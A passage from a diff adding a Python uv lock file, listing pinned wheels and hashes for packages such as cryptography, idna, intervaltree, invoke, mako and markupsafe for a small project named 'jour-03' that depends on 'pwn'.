4702822, upload-time = "2026-06-09T22:32:24.409Z" }, + { url = "https://files.pythonhosted.org/packages/7f/59/810b5204b0a9b10f4b6bc06bd551a8b609803cd931806bc3b71884b225e5/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:869c3b8a53bfe27147832df48b32adadf558249d50e76cb3769d40e986b13265", size = 4694875, upload-time = "2026-06-09T22:32:08.737Z" }, + { url = "https://files.pythonhosted.org/packages/24/dc/d8ca05ffea724eec6d232ea6f18e74c269eb6bdfdcc9bfba689790d1325f/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:e361afba8918070d376df76f408a4f67fec0ee9cff81a99e48fe9a233ef59e17", size = 5290385, upload-time = "2026-06-09T22:31:15.212Z" }, + { url = "https://files.pythonhosted.org/packages/03/8c/3be6cb4da181f5bb6c19cf560c2359d60644a6b5fc5b57854e528f47b296/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:d069066deead00ac7f090be101be875a06855908f7ec004c27b8fefb4acfb411", size = 4737082, upload-time = "2026-06-09T22:32:22.66Z" }, + { url = "https://files.pythonhosted.org/packages/aa/f6/d5f60a5a1434dbfd949e227fd0065d194c7e6b6ac526b17f5c06152b8231/cryptography-48.0.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:09f73a725d582cef64b91281a322cd798d14a33b2b6f2b7ad9531dc336d84c02", size = 4325328, upload-time = "2026-06-09T22:32:10.777Z" }, + { url = "https://files.pythonhosted.org/packages/17/b7/ba75dd947a14b6ad907b01ae8f6b5b348cdd1b48142f0063dee9e20c1d9d/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:15254441469dd6bf027039453288e2072124f8b6603563f5d759e1c9b69273fa", size = 4694530, upload-time = "2026-06-09T22:31:53.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/29/50d6b9e8aff12d8b67afaeb3569335e32dc83a5723e3bbded24fdac9f809/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:8ace4507d1e6533c125f4fac754f8bb8b6a74c08e92179dabd7e16571a3efbf3", size = 5245046, upload-time = "2026-06-09T22:31:25.774Z" }, + { url = "https://files.pythonhosted.org/packages/9f/04/618f4115cfc0add0838c82507aa18a346089428da8653ad38b3ff36f5cb3/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:b4e391975f038e66432328639620a4aff2d307513b004f1ca06d6225bced815c", size = 4736660, upload-time = "2026-06-09T22:32:12.676Z" }, + { url = "https://files.pythonhosted.org/packages/24/9c/06e062462a0de28a3b3911322eded4c16deb9f441b1b7575d3dc59488ab5/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42fcd8e26fe555d9b3577a135f5091fefa0aa4e99129c23fb56787a1bd4ada72", size = 4822229, upload-time = "2026-06-09T22:31:17.062Z" }, + { url = "https://files.pythonhosted.org/packages/f4/be/0561971eaaee4b8a0e7d5113c536921063ab91aaf23278ac374eaf881e11/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c1400da5e32a43253392277eac7490a60e497d810a63dd5608d71bbd7af507c9", size = 4966364, upload-time = "2026-06-09T22:31:32.842Z" }, + { url = "https://files.pythonhosted.org/packages/a4/27/728c77876f12b000820b69ae490f3c4083775e79e07827e9e60be07ad209/cryptography-48.0.1-cp314-cp314t-win32.whl", hash = "sha256:0df56b056bc17c1b7d6821dfa65216e62bd232d8ab05eb3db44e71d235651471", size = 3278498, upload-time = "2026-06-09T22:31:29.154Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/79a612c6d7b1e6ee0edd43633d53035bec2cfb78c82b76f7864f39e36f34/cryptography-48.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:9de21387aa95e2a895823d0745b430bed4f33503ba9ab5e0b5311f33e37d66d2", size = 3798790, upload-time = "2026-06-09T22:31:56.697Z" }, + { url = "https://files.pythonhosted.org/packages/ca/6c/00fa2a95997164c8b2072ce327c23d4ab20809ccc323ea5fab91e53a4bba/cryptography-48.0.1-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:4fdc69f8e4316bcf0c8c8ec1f26f285d12e8142d88d96c876a59a03be3f6ae67", size = 7987408, upload-time = "2026-06-09T22:32:20.777Z" }, + { url = "https://files.pythonhosted.org/packages/b0/d9/45f309a7e4e5f3f8f121d6d3be9e94024a7726ec598d6e08ae04edb2f04d/cryptography-48.0.1-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48fe40804d4caa2288f24e70ca8c64c42dd826da0ad7e4f1b41b2128d679e6c8", size = 4690196, upload-time = "2026-06-09T22:31:54.74Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9f/a1bc8bcc798811b8527eb374bbccf30a3f3e806829d967118222bf1125eb/cryptography-48.0.1-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:86be3b1b0b6bf09482fb50a979c508d2950ed95f5621ec77f4e385962006b83a", size = 4696782, upload-time = "2026-06-09T22:31:45.615Z" }, + { url = "https://files.pythonhosted.org/packages/66/c2/81a4fb4e4373c500bb526bc337ac5719dd31dd15b970b84a238168c6aa08/cryptography-48.0.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4ab0a343c807bbcd90c971cd1ecf072937cd01847a9e002bef88fb47ac6be577", size = 4696618, upload-time = "2026-06-09T22:31:11.564Z" }, + { url = "https://files.pythonhosted.org/packages/e5/0b/aa68b221dde92d09cb29a024ede17550ee21e77a404e59fc093c82bb51e1/cryptography-48.0.1-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9621de99d2da096006b629979efd8ae7eb2d8b822488d0c89ee4000c306c59b1", size = 5289970, upload-time = "2026-06-09T22:31:20.368Z" }, + { url = "https://files.pythonhosted.org/packages/78/13/fba657f958d2af66ea959a4ba01212632089249d34af1ae48054136344d7/cryptography-48.0.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:88c852a0ae366e262e5a1744b685e6a433dc8788dd2a277e418bf4904203609d", size = 4731873, upload-time = "2026-06-09T22:31:22.253Z" }, + { url = "https://files.pythonhosted.org/packages/4c/4c/9a964756d24a26b3e34dfcb16f961b89838786e6700b635b0d1e3adff4b6/cryptography-48.0.1-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:43c5835e2cb98c8733d86f57d6fc879b613f5c3478607281c3e36daffc6dd8a6", size = 4330804, upload-time = "2026-06-09T22:31:36.56Z" }, + { url = "https://files.pythonhosted.org/packages/4b/0f/a10f3a6eb12950a10e3a874070283aa2dd5875b2bfd15fad8a3e17b3f13e/cryptography-48.0.1-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:fe0180af5bf9236518a087e35bf2d9a347d5f5f51e63c579d683ddff424e3d46", size = 4696217, upload-time = "2026-06-09T22:31:13.351Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6f/5cd12f951165ea73ef85266775d97e4c763b2474ccfd816dd69d3a18d6f8/cryptography-48.0.1-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:b7a2d1a937a738a881737cec135a38bb61470589b17515b9f73f571d0ae10401", size = 5245252, upload-time = "2026-06-09T22:32:02.193Z" }, + { url = "https://files.pythonhosted.org/packages/68/ab/8aaa12e4516ec4464033ab79b6f3b592bd5a92102467c4ace8a0d970203f/cryptography-48.0.1-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:b74ca3b8e5ecdd833bf6a002ca41b4793bb27fb8f1c06ffaf2643c9e9140e31b", size = 4731388, upload-time = "2026-06-09T22:32:04.019Z" }, + { url = "https://files.pythonhosted.org/packages/1b/24/50027ea4dca85ec1f40688f3c24fb32ccacd520583c9592c3cc95628e6fb/cryptography-48.0.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2c37f2461406063b417837f5f3daab668652acd82423efcd7f0a9f04be972de1", size = 4824186, upload-time = "2026-06-09T22:32:18.707Z" }, + { url = "https://files.pythonhosted.org/packages/52/41/04cb5eb17085ade6f50cc611fb657df6a0f5885350de8764ece89c050197/cryptography-48.0.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:86fe77abb1bd87afb251d4d02ada7ecf53a32cee9b67d976abb2e45a13297475", size = 4964539, upload-time = "2026-06-09T22:31:18.793Z" }, + { url = "https://files.pythonhosted.org/packages/36/bf/ed70785c496e89d7e73b7cda2d21f2447fd6d4e821714b8d04ff217fed92/cryptography-48.0.1-cp39-abi3-win32.whl", hash = "sha256:6b2c0c3e6ccf3ade7750f836ef3ee36eea250cc467d45c256895573ac08cc6f1", size = 3282307, upload-time = "2026-06-09T22:30:53.162Z" }, + { url = "https://files.pythonhosted.org/packages/b3/ff/371ea7d252656ee1eb6d83eeeef3d1d0c6baf1d6497687d081ea03814670/cryptography-48.0.1-cp39-abi3-win_amd64.whl", hash = "sha256:9a49ca6c81417f6a5edb50375a60cccdd70fa0a91a5211829dbea74eba94d2ac", size = 3793408, upload-time = "2026-06-09T22:32:15.191Z" }, +] + +[[package]] +name = "idna" +version = "3.18" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" }, +] + +[[package]] +name = "intervaltree" +version = "3.2.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "sortedcontainers" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/53/c3/b2afa612aa0373f3e6bb190e6de35f293b307d1537f109e3e25dbfcdf212/intervaltree-3.2.1.tar.gz", hash = "sha256:f3f7e8baeb7dd75b9f7a6d33cf3ec10025984a8e66e3016d537e52130c73cfe2", size = 1231531, upload-time = "2025-12-24T04:25:06.773Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/7f/8a80a1c7c2ed05822b5a2b312d2995f30c533641f8198366ba2e26a7bb03/intervaltree-3.2.1-py2.py3-none-any.whl", hash = "sha256:a8a8381bbd35d48ceebee932c77ffc988492d22fb1d27d0ba1d74a7694eb8f0b", size = 25929, upload-time = "2025-12-24T04:25:05.298Z" }, +] + +[[package]] +name = "invoke" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/33/f6/227c48c5fe47fa178ccf1fda8f047d16c97ba926567b661e9ce2045c600c/invoke-3.0.3.tar.gz", hash = "sha256:437b6a622223824380bfb4e64f612711a6b648c795f565efc8625af66fb57f0c", size = 343419, upload-time = "2026-04-07T15:17:48.307Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl", hash = "sha256:f11327165e5cbb89b2ad1d88d3292b5113332c43b8553b494da435d6ec6f5053", size = 160958, upload-time = "2026-04-07T15:17:46.875Z" }, +] + +[[package]] +name = "jour-03" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "pwn" }, +] + +[package.metadata] +requires-dist = [{ name = "pwn", specifier = ">=1.0" }] + +[[package]] +name = "mako" +version = "1.3.12" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/00/62/791b31e69ae182791ec67f04850f2f062716bbd205483d63a215f3e062d3/mako-1.3.12.tar.gz", hash = "sha256:9f778e93289bd410bb35daadeb4fc66d95a746f0b75777b942088b7fd7af550a", size = 400219, upload-time = "2026-04-28T19:01:08.512Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bc/b1/a0ec7a5a9db730a08daef1fdfb8090435b82465abbf758a596f0ea88727e/mako-1.3.12-py3-none-any.whl", hash = "sha256:8f61569480282dbf557145ce441e4ba888be453c30989f879f0d652e39f53ea9", size = 78521, upload-time = "2026-04-28T19:01:10.393Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = 